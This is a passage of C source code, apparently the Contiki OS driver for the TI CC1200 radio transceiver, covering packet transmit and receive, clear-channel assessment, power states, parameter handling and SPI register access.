printf(__VA_ARGS__) #else #define INFO(...) #endif /* Busy-wait (time-bounded) until the radio reaches a given state */ #define RTIMER_BUSYWAIT_UNTIL_STATE(s, t) RTIMER_BUSYWAIT_UNTIL(state() == (s), t) /*---------------------------------------------------------------------------*/ /* Variables */ /*---------------------------------------------------------------------------*/ /* Flag indicating whether non-interrupt routines are using SPI */ static volatile uint8_t spi_locked = 0; #if CC1200_WITH_TX_BUF /* Packet buffer for transmission, filled within prepare() */ static uint8_t tx_pkt[CC1200_MAX_PAYLOAD_LEN]; #endif /* CC1200_WITH_TX_BUF */ /* The number of bytes waiting in tx_pkt */ static uint16_t tx_pkt_len; /* Number of bytes from tx_pkt left to write to FIFO */ uint16_t bytes_left_to_write; /* Packet buffer for reception */ static uint8_t rx_pkt[CC1200_MAX_PAYLOAD_LEN + APPENDIX_LEN]; /* The number of bytes placed in rx_pkt */ static volatile uint16_t rx_pkt_len = 0; /* * The current channel in the range CC1200_RF_CHANNEL_MIN * to CC1200_RF_CHANNEL_MAX */ static uint8_t rf_channel; /* The next channel requested */ static uint8_t new_rf_channel; /* RADIO_PARAM_RX_MODE. Initialized in init() */ static radio_value_t rx_mode_value; /* RADIO_PARAM_RX_MODE. Initialized in init() */ static radio_value_t tx_mode_value; /* RADIO_PARAM_TXPOWER in dBm. Initialized in init() */ static int8_t txpower; static int8_t new_txpower; /* RADIO_PARAM_CCA_THRESHOLD. Initialized in init() */ static int8_t cca_threshold; static int8_t new_cca_threshold; /* The radio drivers state */ static uint8_t rf_flags = 0; #if !CC1200_AUTOCAL && CC1200_CAL_TIMEOUT_SECONDS /* Use a timeout to decide when to calibrate */ static unsigned long cal_timer; #endif #if CC1200_USE_RX_WATCHDOG /* Timer used for RX watchdog */ static struct etimer et; #endif /* #if CC1200_USE_RX_WATCHDOG */ /*---------------------------------------------------------------------------*/ /* Prototypes for Netstack API radio driver functions */ /*---------------------------------------------------------------------------*/ /* Init the radio. */ static int init(void); /* Prepare and copy PHY header to Tx FIFO */ static int copy_header_to_tx_fifo(unsigned short payload_len); /* Prepare the radio with a packet to be sent. */ static int prepare(const void *payload, unsigned short payload_len); /* Send the packet that has previously been prepared. */ static int transmit(unsigned short payload_len); /* Prepare & transmit a packet. */ static int send(const void *payload, unsigned short payload_len); /* Read a received packet into a buffer. */ static int read(void *buf, unsigned short bufsize); /* * Perform a Clear-Channel Assessment (CCA) to find out if there is * a packet in the air or not. */ static int channel_clear(void); /* Check if the radio driver is currently receiving a packet. */ static int receiving_packet(void); /* Check if the radio driver has just received a packet. */ static int pending_packet(void); /* Turn the radio on. */ static int on(void); /* Turn the radio off. */ static int off(void); /* Get a radio parameter value. */ static radio_result_t get_value(radio_param_t param, radio_value_t *value); /* Set a radio parameter value. */ static radio_result_t set_value(radio_param_t param, radio_value_t value); /* Get a radio parameter object. */ static radio_result_t get_object(radio_param_t param, void *dest, size_t size); /* Set a radio parameter object. */ static radio_result_t set_object(radio_param_t param, const void *src, size_t size); /*---------------------------------------------------------------------------*/ /* The radio driver exported to contiki */ /*---------------------------------------------------------------------------*/ const struct radio_driver cc1200_driver = { init, prepare, transmit, send, read, channel_clear, receiving_packet, pending_packet, on, off, get_value, set_value, get_object, set_object }; /*---------------------------------------------------------------------------*/ /* Prototypes for CC1200 low level function. All of these functions are called by the radio driver functions or the rx interrupt, so there is no need to lock SPI within these functions */ /*---------------------------------------------------------------------------*/ /* Send a command strobe. */ static uint8_t strobe(uint8_t strobe); /* Reset CC1200. */ static void reset(void); /* Write a single byte to the specified address. */ static uint8_t single_write(uint16_t addr, uint8_t value); /* Read a single byte from the specified address. */ static uint8_t single_read(uint16_t addr); /* Write a burst of bytes starting at the specified address. */ static void burst_write(uint16_t addr, const uint8_t *data, uint8_t data_len); /* Read a burst of bytes starting at the specified address. */ static void burst_read(uint16_t addr, uint8_t *data, uint8_t data_len); /* Write a list of register settings. */ static void write_reg_settings(const registerSetting_t *reg_settings, uint16_t sizeof_reg_settings); /* Configure the radio (write basic configuration). */ static void configure(void); /* Return the radio's state. */ static uint8_t state(void); #if !CC1200_AUTOCAL /* Perform manual calibration. */ static void calibrate(void); #endif /* Enter IDLE state. */ static void idle(void); /* Enter RX state. */ static void idle_calibrate_rx(void); /* Restart RX from within RX interrupt. */ static void rx_rx(void); /* Fill TX FIFO (if not already done), start TX and wait for TX to complete (blocking!). */ static int idle_tx_rx(const uint8_t *payload, uint16_t payload_len); /* Update TX power */ static void update_txpower(int8_t txpower_dbm); /* Update CCA threshold */ static void update_cca_threshold(int8_t threshold_dbm); /* Calculate FREQ register from channel */ static uint32_t calculate_freq(uint8_t channel); /* Update rf channel if possible, else postpone it (-> pollhandler). */ static int set_channel(uint8_t channel); /* Validate address and send ACK if requested. */ static int addr_check_auto_ack(uint8_t *frame, uint16_t frame_len); /*---------------------------------------------------------------------------*/ /* Handle tasks left over from rx interrupt or because SPI was locked */ static void pollhandler(void); /*---------------------------------------------------------------------------*/ PROCESS(cc1200_process, "CC1200 driver"); /*---------------------------------------------------------------------------*/ PROCESS_THREAD(cc1200_process, ev, data) { PROCESS_POLLHANDLER(pollhandler()); PROCESS_BEGIN(); #if CC1200_USE_RX_WATCHDOG while(1) { if((rf_flags & (RF_ON | RF_TX_ACTIVE)) == RF_ON) { PROCESS_WAIT_EVENT_UNTIL(etimer_expired(&et)); etimer_reset(&et); /* * We are on and not in TX. As every function of this driver * assures that we are in RX mode * (using RTIMER_BUSYWAIT_UNTIL_STATE(STATE_RX, ...) construct) in * either rx_rx(), idle_calibrate_rx() or transmit(), * something probably went wrong in the rx interrupt handler * if we are not in RX at this point. */ if(cc1200_arch_gpio0_read_pin() == 0) { /* * GPIO de-asserts as soon as we leave RX for what reason ever. No * reason to check RX as long as it is asserted (we are receiving a * packet). We should never interfere with the rx interrupt if we * check GPIO0 in advance... */ LOCK_SPI(); if(state() != STATE_RX) { WARNING("RF: RX watchdog triggered!\n"); rx_rx(); } RELEASE_SPI(); } } else { PROCESS_YIELD(); } } #endif /* #if CC1200_USE_RX_WATCHDOG */ PROCESS_YIELD_UNTIL(ev == PROCESS_EVENT_EXIT); PROCESS_END(); } /*---------------------------------------------------------------------------*/ /* Handle tasks left over from rx interrupt or because SPI was locked */ static void pollhandler(void) { if((rf_flags & (RF_ON + RF_POLL_RX_INTERRUPT)) == (RF_ON + RF_POLL_RX_INTERRUPT)) { cc1200_rx_interrupt(); } if(rf_flags & RF_UPDATE_CHANNEL) { /* We couldn't set the channel because we were busy. Try again now. */ set_channel(new_rf_channel); } if((rx_mode_value & RADIO_RX_MODE_POLL_MODE) == 0 && rx_pkt_len > 0) { int len; /* * We received a valid packet. CRC was checked before, * address filtering was performed (if configured) * and ACK was send (if configured) */ packetbuf_clear(); len = read(packetbuf_dataptr(), PACKETBUF_SIZE); if(len > 0) { packetbuf_set_datalen(len); NETSTACK_MAC.input(); } } } /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ /* * Netstack API radio driver functions */ /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ /* Initialize radio. */ static int init(void) { INFO("RF: Init (%s)\n", CC1200_RF_CFG.cfg_descriptor); if(!(rf_flags & RF_INITIALIZED)) { LOCK_SPI(); /* Perform low level initialization */ cc1200_arch_init(); /* Configure GPIO interrupts */ SETUP_GPIO_INTERRUPTS(); /* Write initial configuration */ configure(); /* Enable address filtering + auto ack */ rx_mode_value = (RADIO_RX_MODE_AUTOACK | RADIO_RX_MODE_ADDRESS_FILTER); /* Enable CCA */ tx_mode_value = (RADIO_TX_MODE_SEND_ON_CCA); /* Set output power */ new_txpower = CC1200_RF_CFG.max_txpower; update_txpower(new_txpower); /* Adjust CAA threshold */ new_cca_threshold = CC1200_RF_CFG.cca_threshold; update_cca_threshold(new_cca_threshold); process_start(&cc1200_process, NULL); /* We are on + initialized at this point */ rf_flags |= (RF_INITIALIZED + RF_ON); RELEASE_SPI(); /* Set default channel. This will also force initial calibration! */ set_channel(CC1200_DEFAULT_CHANNEL); /* * We have to call off() before on() because on() relies on the * configuration of the GPIO0 pin */ off(); } return 1; } /*---------------------------------------------------------------------------*/ /* Prepare the radio with a packet to be sent. */ static int prepare(const void *payload, unsigned short payload_len) { INFO("RF: Prepare (%d)\n", payload_len); if((payload_len < ACK_LEN) || (payload_len > CC1200_MAX_PAYLOAD_LEN)) { ERROR("RF: Invalid payload length!\n"); return RADIO_TX_ERR; } tx_pkt_len = payload_len; #if CC1200_WITH_TX_BUF /* Copy payload to buffer, will be sent later */ memcpy(tx_pkt, payload, tx_pkt_len); #else /* CC1200_WITH_TX_BUF */ #if (CC1200_MAX_PAYLOAD_LEN > (CC1200_FIFO_SIZE - PHR_LEN)) #error CC1200 max payload too large #else /* Copy header and payload directly to Radio Tx FIFO (127 bytes max) */ copy_header_to_tx_fifo(payload_len); burst_write(CC1200_TXFIFO, payload, payload_len); #endif #endif /* CC1200_WITH_TX_BUF */ return RADIO_TX_OK; } /*---------------------------------------------------------------------------*/ /* Prepare the radio with a packet to be sent. */ static int copy_header_to_tx_fifo(unsigned short payload_len) { #if CC1200_802154G /* Prepare PHR for 802.15.4g frames */ struct { uint8_t phra; uint8_t phrb; } phr; #if CC1200_802154G_CRC16 payload_len += 2; #else payload_len += 4; #endif /* Frame length */ phr.phrb = (uint8_t)(payload_len & 0x00FF); phr.phra = (uint8_t)((payload_len >> 8) & 0x0007); #if CC1200_802154G_WHITENING /* Enable Whitening */ phr.phra |= (1 << 3); #endif /* #if CC1200_802154G_WHITENING */ #if CC1200_802154G_CRC16 /* FCS type 1, 2 Byte CRC */ phr.phra |= (1 << 4); #endif /* #if CC1200_802154G_CRC16 */ #endif /* #if CC1200_802154G */ idle(); rf_flags &= ~RF_RX_PROCESSING_PKT; strobe(CC1200_SFRX); /* Flush TX FIFO */ strobe(CC1200_SFTX); #if CC1200_802154G /* Write PHR */ burst_write(CC1200_TXFIFO, (uint8_t *)&phr, PHR_LEN); #else /* Write length byte */ burst_write(CC1200_TXFIFO, (uint8_t *)&payload_len, PHR_LEN); #endif /* #if CC1200_802154G */ return 0; } /*---------------------------------------------------------------------------*/ /* Send the packet that has previously been prepared. */ static int transmit(unsigned short transmit_len) { uint8_t was_off = 0; int ret = RADIO_TX_OK; int txret; INFO("RF: Transmit (%d)\n", transmit_len); if(transmit_len != tx_pkt_len) { ERROR("RF: TX length mismatch!\n"); return RADIO_TX_ERR; } /* TX ongoing. Inhibit channel update & ACK as soon as possible */ rf_flags |= RF_TX_ACTIVE; if(!(rf_flags & RF_ON)) { /* Radio is off - turn it on */ was_off = 1; on(); /* Radio is in RX now (and calibrated...) */ } if(tx_mode_value & RADIO_TX_MODE_SEND_ON_CCA) { /* Perform clear channel assessment */ if(!channel_clear()) { /* Channel occupied */ if(was_off) { off(); } rf_flags &= ~RF_TX_ACTIVE; return RADIO_TX_COLLISION; } } /* * Lock SPI here because "on()" and "channel_clear()" * won't work if SPI is locked! */ LOCK_SPI(); /* * Make sure we start from a sane state. idle() also disables * the GPIO interrupt(s). */ idle(); /* Update output power */ if(new_txpower != txpower) { update_txpower(new_txpower); } #if !CC1200_AUTOCAL /* Perform manual calibration unless just turned on */ if(!was_off) { calibrate(); } #endif /* Send data using TX FIFO */ #if CC1200_WITH_TX_BUF txret = idle_tx_rx(tx_pkt, tx_pkt_len); #else /* CC1200_WITH_TX_BUF */ txret = idle_tx_rx(NULL, tx_pkt_len); #endif /* CC1200_WITH_TX_BUF */ if(txret == RADIO_TX_OK) { /* * TXOFF_MODE is set to RX, * let's wait until we are in RX and turn on the GPIO IRQs * again as they were turned off in idle() */ RTIMER_BUSYWAIT_UNTIL_STATE(STATE_RX, CC1200_RF_CFG.tx_rx_turnaround); ENABLE_GPIO_INTERRUPTS(); } else { /* * Something went wrong during TX, idle_tx_rx() returns in IDLE * state in this case. * Turn on RX again unless we turn off anyway */ ret = RADIO_TX_ERR; if(!was_off) { #ifdef RF_FORCE_CALIBRATION rf_flags |= RF_FORCE_CALIBRATION; #endif idle_calibrate_rx(); } } /* Release SPI here because "off()" won't work if SPI is locked! */ RELEASE_SPI(); if(was_off) { off(); } /* TX completed */ rf_flags &= ~RF_TX_ACTIVE; return ret; } /*---------------------------------------------------------------------------*/ /* Prepare & transmit a packet. */ static int send(const void *payload, unsigned short payload_len) { int ret; INFO("RF: Send (%d)\n", payload_len); /* payload_len checked within prepare() */ if((ret = prepare(payload, payload_len)) == RADIO_TX_OK) { ret = transmit(payload_len); } return ret; } /*---------------------------------------------------------------------------*/ /* Read a received packet into a buffer. */ static int read(void *buf, unsigned short buf_len) { int len = 0; if(rx_pkt_len > 0) { rssi = (int8_t)rx_pkt[rx_pkt_len - 2] + (int)CC1200_RF_CFG.rssi_offset; /* CRC is already checked */ uint8_t crc_lqi = rx_pkt[rx_pkt_len - 1]; len = rx_pkt_len - APPENDIX_LEN; if(len > buf_len) { ERROR("RF: Failed to read packet (too big)!\n"); } else { INFO("RF: Read (%d bytes, %d dBm)\n", len, rssi); memcpy((void *)buf, (const void *)rx_pkt, len); /* Release rx_pkt */ rx_pkt_len = 0; packetbuf_set_attr(PACKETBUF_ATTR_RSSI, rssi); /* Mask out CRC bit */ packetbuf_set_attr(PACKETBUF_ATTR_LINK_QUALITY, crc_lqi & ~(1 << 7)); } } return len; } /*---------------------------------------------------------------------------*/ /* * Perform a Clear-Channel Assessment (CCA) to find out if there is a * packet in the air or not. */ static int channel_clear(void) { uint8_t cca, was_off = 0; if(SPI_IS_LOCKED()) { /* Probably locked in rx interrupt. Return "channel occupied" */ return 0; } if(!(rf_flags & RF_ON)) { /* We are off */ was_off = 1; on(); } LOCK_SPI(); RF_ASSERT(state() == STATE_RX); /* * At this point we should be in RX. If GPIO0 is set, we are currently * receiving a packet, no need to check the RSSI. Or is there any situation * when we want access the channel even if we are currently receiving a * packet??? */ if(cc1200_arch_gpio0_read_pin() == 1) { /* Channel occupied */ INFO("RF: CCA (0)\n"); cca = 0; } else { uint8_t rssi0; /* Update CCA threshold */ if(new_cca_threshold != cca_threshold) { update_cca_threshold(new_cca_threshold); } /* Wait for CARRIER_SENSE_VALID signal */ RTIMER_BUSYWAIT_UNTIL(((rssi0 = single_read(CC1200_RSSI0)) & CC1200_CARRIER_SENSE_VALID), RTIMER_SECOND / 100); RF_ASSERT(rssi0 & CC1200_CARRIER_SENSE_VALID); if(rssi0 & CC1200_CARRIER_SENSE) { /* Channel occupied */ INFO("RF: CCA (0)\n"); cca = 0; } else { /* Channel clear */ INFO("RF: CCA (1)\n"); cca = 1; } } RELEASE_SPI(); if(was_off) { off(); } return cca; } /*---------------------------------------------------------------------------*/ /* * Check if the radio driver is currently receiving a packet. * * CSMA uses this function * - to detect a collision before transmit() * - to detect an incoming ACK */ static int receiving_packet(void) { int ret = 0; if((rf_flags & (RF_ON | RF_TX_ACTIVE)) == RF_ON) { /* We are on and not in TX */ if((cc1200_arch_gpio0_read_pin() == 1) || (rx_pkt_len != 0)) { /* * SYNC word found or packet just received. Changing the criteria * for this event might make it necessary to review the MAC timing * parameters! Instead of (or in addition to) using GPIO0 we could also * read out MODEM_STATUS1 (e.g. PQT reached), but this would not change * the situation at least for CSMA as it uses two "blocking" timers * (does not perform polling...). Therefore the overall timing * of the ACK handling wouldn't change. It would just allow to detect an * incoming packet a little bit earlier and help us with respect to * collision avoidance (why not use channel_clear() * at this point?). */ ret = 1; } } INFO("RF: Receiving (%d)\n", ret); return ret; } /*---------------------------------------------------------------------------*/ /* Check if the radio driver has just received a packet. */ static int pending_packet(void) { int ret; ret = ((rx_pkt_len != 0) ? 1 : 0); if(ret == 0 && !SPI_IS_LOCKED()) { LOCK_SPI(); ret = (single_read(CC1200_NUM_RXBYTES) > 0); RELEASE_SPI(); } INFO("RF: Pending (%d)\n", ret); return ret; } /*---------------------------------------------------------------------------*/ /* Turn the radio on. */ static int on(void) { INFO("RF: On\n"); /* Don't turn on if we are on already */ if(!(rf_flags & RF_ON)) { if(SPI_IS_LOCKED()) { return 0; } LOCK_SPI(); /* Wake-up procedure. Wait for GPIO0 to de-assert (CHIP_RDYn) */ cc1200_arch_spi_select(); RTIMER_BUSYWAIT_UNTIL((cc1200_arch_gpio0_read_pin() == 0), RTIMER_SECOND / 100); RF_ASSERT((cc1200_arch_gpio0_read_pin() == 0)); cc1200_arch_spi_deselect(); rf_flags = RF_INITIALIZED; rf_flags |= RF_ON; /* Radio is IDLE now, re-configure GPIO0 (modified inside off()) */ single_write(CC1200_IOCFG0, GPIO0_IOCFG); /* Turn on RX */ idle_calibrate_rx(); RELEASE_SPI(); #if CC1200_USE_RX_WATCHDOG PROCESS_CONTEXT_BEGIN(&cc1200_process); etimer_set(&et, CLOCK_SECOND); PROCESS_CONTEXT_END(&cc1200_process); #endif /* #if CC1200_USE_RX_WATCHDOG */ } else { INFO("RF: Already on\n"); } return 1; } /*---------------------------------------------------------------------------*/ /* Turn the radio off. */ static int off(void) { INFO("RF: Off\n"); /* Don't turn off if we are off already */ if(rf_flags & RF_ON) { if(SPI_IS_LOCKED()) { return 0; } LOCK_SPI(); idle(); if(single_read(CC1200_NUM_RXBYTES) > 0) { RELEASE_SPI(); /* In case there is something in the Rx FIFO, read it */ cc1200_rx_interrupt(); if(SPI_IS_LOCKED()) { return 0; } LOCK_SPI(); } /* * As we use GPIO as CHIP_RDYn signal on wake-up / on(), * we re-configure it for CHIP_RDYn. */ single_write(CC1200_IOCFG0, CC1200_IOCFG_RXFIFO_CHIP_RDY_N); /* Say goodbye ... */ strobe(CC1200_SPWD); /* Clear all but the initialized flag */ rf_flags = RF_INITIALIZED; RELEASE_SPI(); #if CC1200_USE_RX_WATCHDOG etimer_stop(&et); #endif /* #if CC1200_USE_RX_WATCHDOG */ } else { INFO("RF: Already off\n"); } return 1; } /*---------------------------------------------------------------------------*/ /** * \brief Reads the current signal strength (RSSI) * \return The current RSSI in dBm * * This function reads the current RSSI on the currently configured * channel. */ static int16_t get_rssi(void) { int16_t rssi0, rssi1; uint8_t was_off = 0; /* If we are off, turn on first */ if(!(rf_flags & RF_ON)) { was_off = 1; on(); } /* Wait for CARRIER_SENSE_VALID signal */ RTIMER_BUSYWAIT_UNTIL(((rssi0 = single_read(CC1200_RSSI0)) & CC1200_CARRIER_SENSE_VALID), RTIMER_SECOND / 100); RF_ASSERT(rssi0 & CC1200_CARRIER_SENSE_VALID); rssi1 = (int8_t)single_read(CC1200_RSSI1) + (int)CC1200_RF_CFG.rssi_offset; /* If we were off, turn back off */ if(was_off) { off(); } return rssi1; } /*---------------------------------------------------------------------------*/ /* Get a radio parameter value. */ static radio_result_t get_value(radio_param_t param, radio_value_t *value) { if(!value) { return RADIO_RESULT_INVALID_VALUE; } switch(param) { case RADIO_PARAM_POWER_MODE: if(rf_flags & RF_ON) { *value = (radio_value_t)RADIO_POWER_MODE_ON; } else { *value = (radio_value_t)RADIO_POWER_MODE_OFF; } return RADIO_RESULT_OK; case RADIO_PARAM_CHANNEL: *value = (radio_value_t)rf_channel; return RADIO_RESULT_OK; case RADIO_PARAM_PAN_ID: case RADIO_PARAM_16BIT_ADDR: return RADIO_RESULT_NOT_SUPPORTED; case RADIO_PARAM_RX_MODE: *value = (radio_value_t)rx_mode_value; return RADIO_RESULT_OK; case RADIO_PARAM_TX_MODE: *value = (radio_value_t)tx_mode_value; return RADIO_RESULT_OK; case RADIO_PARAM_TXPOWER: *value = (radio_value_t)txpower; return RADIO_RESULT_OK; case RADIO_PARAM_CCA_THRESHOLD: *value = (radio_value_t)cca_threshold; return RADIO_RESULT_OK; case RADIO_PARAM_RSSI: *value = get_rssi(); return RADIO_RESULT_OK; case RADIO_PARAM_LAST_RSSI: *value = (radio_value_t)rssi; return RADIO_RESULT_OK; case RADIO_PARAM_64BIT_ADDR: return RADIO_RESULT_NOT_SUPPORTED; case RADIO_CONST_CHANNEL_MIN: *value = (radio_value_t)CC1200_RF_CFG.min_channel; return RADIO_RESULT_OK; case RADIO_CONST_CHANNEL_MAX: *value = (radio_value_t)CC1200_RF_CFG.max_channel; return RADIO_RESULT_OK; case RADIO_CONST_TXPOWER_MIN: *value = (radio_value_t)CC1200_CONST_TX_POWER_MIN; return RADIO_RESULT_OK; case RADIO_CONST_TXPOWER_MAX: *value = (radio_value_t)CC1200_RF_CFG.max_txpower; return RADIO_RESULT_OK; case RADIO_CONST_PHY_OVERHEAD: #if CC1200_802154G #if CC1200_802154G_CRC16 *value = (radio_value_t)4; /* 2 bytes PHR, 2 bytes CRC */ #else *value = (radio_value_t)6; /* 2 bytes PHR, 4 bytes CRC */ #endif #else *value = (radio_value_t)3; /* 1 len byte, 2 bytes CRC */ #endif return RADIO_RESULT_OK; case RADIO_CONST_BYTE_AIR_TIME: *value = (radio_value_t)8*1000*1000 / CC1200_RF_CFG.bitrate; return RADIO_RESULT_OK; case RADIO_CONST_DELAY_BEFORE_TX: *value = (radio_value_t)CC1200_RF_CFG.delay_before_tx; return RADIO_RESULT_OK; case RADIO_CONST_DELAY_BEFORE_RX: *value = (radio_value_t)CC1200_RF_CFG.delay_before_rx; return RADIO_RESULT_OK; case RADIO_CONST_DELAY_BEFORE_DETECT: *value = (radio_value_t)CC1200_RF_CFG.delay_before_detect; return RADIO_RESULT_OK; case RADIO_CONST_MAX_PAYLOAD_LEN: *value = (radio_value_t)CC1200_MAX_PAYLOAD_LEN; return RADIO_RESULT_OK; default: return RADIO_RESULT_NOT_SUPPORTED; } } /*---------------------------------------------------------------------------*/ /* Set a radio parameter value. */ static radio_result_t set_value(radio_param_t param, radio_value_t value) { switch(param) { case RADIO_PARAM_POWER_MODE: if(value == RADIO_POWER_MODE_ON) { on(); return RADIO_RESULT_OK; } if(value == RADIO_POWER_MODE_OFF) { off(); return RADIO_RESULT_OK; } return RADIO_RESULT_INVALID_VALUE; case RADIO_PARAM_CHANNEL: if(set_channel(value) == CHANNEL_OUT_OF_LIMITS) { return RADIO_RESULT_INVALID_VALUE; } /* * We always return OK here even if the channel update was * postponed. rf_channel is NOT updated in this case until * the channel update was performed. So reading back * the channel using get_value() might return the "old" channel * until the channel was actually changed */ return RADIO_RESULT_OK; case RADIO_PARAM_PAN_ID: case RADIO_PARAM_16BIT_ADDR: return RADIO_RESULT_NOT_SUPPORTED; case RADIO_PARAM_RX_MODE: rx_mode_value = value; return RADIO_RESULT_OK; case RADIO_PARAM_TX_MODE: tx_mode_value = value; return RADIO_RESULT_OK; case RADIO_PARAM_TXPOWER: if(value > (radio_value_t)CC1200_RF_CFG.max_txpower) { value = (radio_value_t)CC1200_RF_CFG.max_txpower; } if(value < (radio_value_t)CC1200_CONST_TX_POWER_MIN) { value = (radio_value_t)CC1200_CONST_TX_POWER_MIN; } /* We update the output power as soon as we transmit the next packet */ new_txpower = (int8_t)value; return RADIO_RESULT_OK; case RADIO_PARAM_CCA_THRESHOLD: if(value > (radio_value_t)CC1200_CONST_CCA_THRESHOLD_MAX) { value = (radio_value_t)CC1200_CONST_CCA_THRESHOLD_MAX; } if(value < (radio_value_t)CC1200_CONST_CCA_THRESHOLD_MIN) { value = (radio_value_t)CC1200_CONST_CCA_THRESHOLD_MIN; } /* When to update the threshold? Let's do it in channel_clear() ... */ new_cca_threshold = (int8_t)value; return RADIO_RESULT_OK; case RADIO_PARAM_RSSI: case RADIO_PARAM_64BIT_ADDR: default: return RADIO_RESULT_NOT_SUPPORTED; } } /*---------------------------------------------------------------------------*/ /* Get a radio parameter object. */ static radio_result_t get_object(radio_param_t param, void *dest, size_t size) { if(param == RADIO_PARAM_LAST_PACKET_TIMESTAMP) { if(size != sizeof(rtimer_clock_t) || !dest) { return RADIO_RESULT_INVALID_VALUE; } *(rtimer_clock_t *)dest = sfd_timestamp; return RADIO_RESULT_OK; } #if MAC_CONF_WITH_TSCH if(param == RADIO_CONST_TSCH_TIMING) { if(size != sizeof(uint16_t *) || !dest) { return RADIO_RESULT_INVALID_VALUE; } /* Assigned value: a pointer to the TSCH timing in usec */ *(const uint16_t **)dest = CC1200_RF_CFG.tsch_timing; return RADIO_RESULT_OK; } #endif /* MAC_CONF_WITH_TSCH */ return RADIO_RESULT_NOT_SUPPORTED; } /*---------------------------------------------------------------------------*/ /* Set a radio parameter object. */ static radio_result_t set_object(radio_param_t param, const void *src, size_t size) { return RADIO_RESULT_NOT_SUPPORTED; } /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ /* * CC1200 low level functions */ /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ /* Send a command strobe. */ static uint8_t strobe(uint8_t strobe) { uint8_t ret; cc1200_arch_spi_select(); ret = cc1200_arch_spi_rw_byte(strobe); cc1200_arch_spi_deselect(); return ret; } /*---------------------------------------------------------------------------*/ /* Reset CC1200. */ static void reset(void) { cc1200_arch_spi_select(); cc1200_arch_spi_rw_byte(CC1200_SRES); /* * Here we should wait for SO to go low again. * As we don't have access to this pin we just wait for 100µs. */ clock_delay(100); cc1200_arch_spi_deselect(); } /*---------------------------------------------------------------------------*/ /* Write a single byte to the specified address. */ static uint8_t single_write(uint16_t addr, uint8_t val) { uint8_t ret; cc1200_arch_spi_select(); if(CC1200_IS_EXTENDED_ADDR(addr)) { cc1200_arch_spi_rw_byte(CC1200_EXTENDED_WRITE_CMD); cc1200_arch_spi_rw_byte((uint8_t)addr); } else { cc1200_arch_spi_rw_byte(addr | CC1200_WRITE_BIT); } ret = cc1200_arch_spi_rw_byte(val); cc1200_arch_spi_deselect(); return ret; } /*---------------------------------------------------------------------------*/ /* Read a single byte from the specified address. */ static uint8_t single_read(uint16_t addr) { uint8_t ret; cc1200_arch_spi_select(); if(CC1200_IS_EXTENDED_ADDR(addr)) { cc1200_arch_spi_rw_byte(CC1200_EXTENDED_READ_CMD); cc1200_arch_spi_rw_byte((uint8_t)addr); } else { cc1200_arch_spi_rw_byte(addr | CC1200_READ_BIT); } ret = cc1200_arch_spi_rw_byte(0); cc1200_arch_spi_deselect(); return ret; } /*---------------------------------------------------------------------------*/ /* Write a burst of bytes starting at the specified address. */ static void burst_write(uint16_t addr, const uint8_t *data, uint8_t data_len) { cc1200_arch_spi_select(); if(CC1200_IS_EXTENDED_ADDR(addr)) { cc1200_arch_spi_rw_byte(CC1200_EXTENDED_BURST_WRITE_CMD); cc1200_arch_spi_rw_byte((uint8_t)addr); } else { cc1200_arch_spi_rw_byte(addr | CC1200_WRITE_BIT | CC1200_BURST_BIT); } cc1200_arch_spi_rw(NULL, data, data_len); cc1200_arch_spi_deselect(); } /*---------------------------------------------------------------------------*/ /* Read a burst of bytes starting at the specified address. */ static void burst_read(uint16_t addr, uint8_t *data, uint8_t data_len) { cc1200_arch_spi_select(); if(CC1200_IS_EXTENDED_ADDR(addr)) { cc1200_arch_spi_rw_byte(CC1200_EXTENDED_BURST_READ_CMD); cc1200_arch_spi_rw_byte((uint8_t)addr); } else { cc1200_arch_spi_rw_byte(addr | CC1200_READ_BIT | CC1200_BURST_BIT); } cc1200_arch_spi_rw(data, NULL, data_len); cc1200_arch_spi_deselect(); } /*---------------------------------------------------------------------------*/ /* Write a list of register settings. */ static void write_reg_settings(const registerSetting_t *reg_settings, uint16_t sizeof_reg_settings) { int i = sizeof_reg_settings / sizeof(registerSetting_t); if(reg_settings != NULL) { while(i--) { single_write(reg_settings->addr, reg_settings->val); reg_settings++; } } } /*---------------------------------------------------------------------------*/ /* Configure the radio (write basic configuration). */ static void configure(void) { uint8_t reg; #if CC1200_RF_TESTMODE uint32_t freq; #endif /* * As we only write registers which are different from the chip's reset * state, let's assure that the chip is in a clean state */ reset(); /* Write the configuration as exported from SmartRF Studio */ write_reg_settings(CC1200_RF_CFG.register_settings, CC1200_RF_CFG.size_of_register_settings); /* Write frequency offset */ #if CC1200_FREQ_OFFSET /* MSB */ single_write(CC1200_FREQOFF1, (uint8_t)(CC1200_FREQ_OFFSET >> 8)); /* LSB */ single_write(CC1200_FREQOFF0, (uint8_t)(CC1200_FREQ_OFFSET)); #endif /* RSSI offset */ single_write(CC1200_AGC_GAIN_ADJUST, (int8_t)CC1200_RF_CFG.rssi_offset); /*************************************************************************** * RF test modes needed during hardware development **************************************************************************/ #if (CC1200_RF_TESTMODE == 1) || (CC1200_RF_TESTMODE == 2) strobe(CC1200_SFTX); single_write(CC1200_TXFIRST, 0); single_write(CC1200_TXLAST, 0xFF); update_txpower(CC1200_CONST_TX_POWER_MAX); single_write(CC1200_PKT_CFG2, 0x02); freq = calculate_freq(CC1200_DEFAULT_CHANNEL - CC1200_RF_CFG.min_channel); single_write(CC1200_FREQ0, ((uint8_t *)&freq)[0]); single_write(CC1200_FREQ1, ((uint8_t *)&freq)[1]); single_write(CC1200_FREQ2, ((uint8_t *)&freq)[2]); printf("RF: Freq0 0x%02x\n", ((uint8_t *)&freq)[0]); printf("RF: Freq1 0x%02x\n", ((uint8_t *)&freq)[1]); printf("RF: Freq2 0x%02x\n", ((uint8_t *)&freq)[2]); #if (CC1200_RF_TESTMODE == 1) single_write(CC1200_SYNC_CFG1, 0xE8); single_write(CC1200_PREAMBLE_CFG1, 0x00); single_write(CC1200_MDMCFG1, 0x46); single_write(CC1200_PKT_CFG0, 0x40); single_write(CC1200_FS_DIG1, 0x07); single_write(CC1200_FS_DIG0, 0xAA); single_write(CC1200_FS_DVC1, 0xFF); single_write(CC1200_FS_DVC0, 0x17); #endif #if (CC1200_RF_TESTMODE == 2) single_write(CC1200_SYNC_CFG1, 0xE8); single_write(CC1200_PREAMBLE_CFG1, 0x00); single_write(CC1200_MDMCFG1, 0x06); single_write(CC1200_PA_CFG1, 0x3F); single_write(CC1200_MDMCFG2, 0x03); single_write(CC1200_FS_DIG1, 0x07); single_write(CC1200_FS_DIG0, 0xAA); 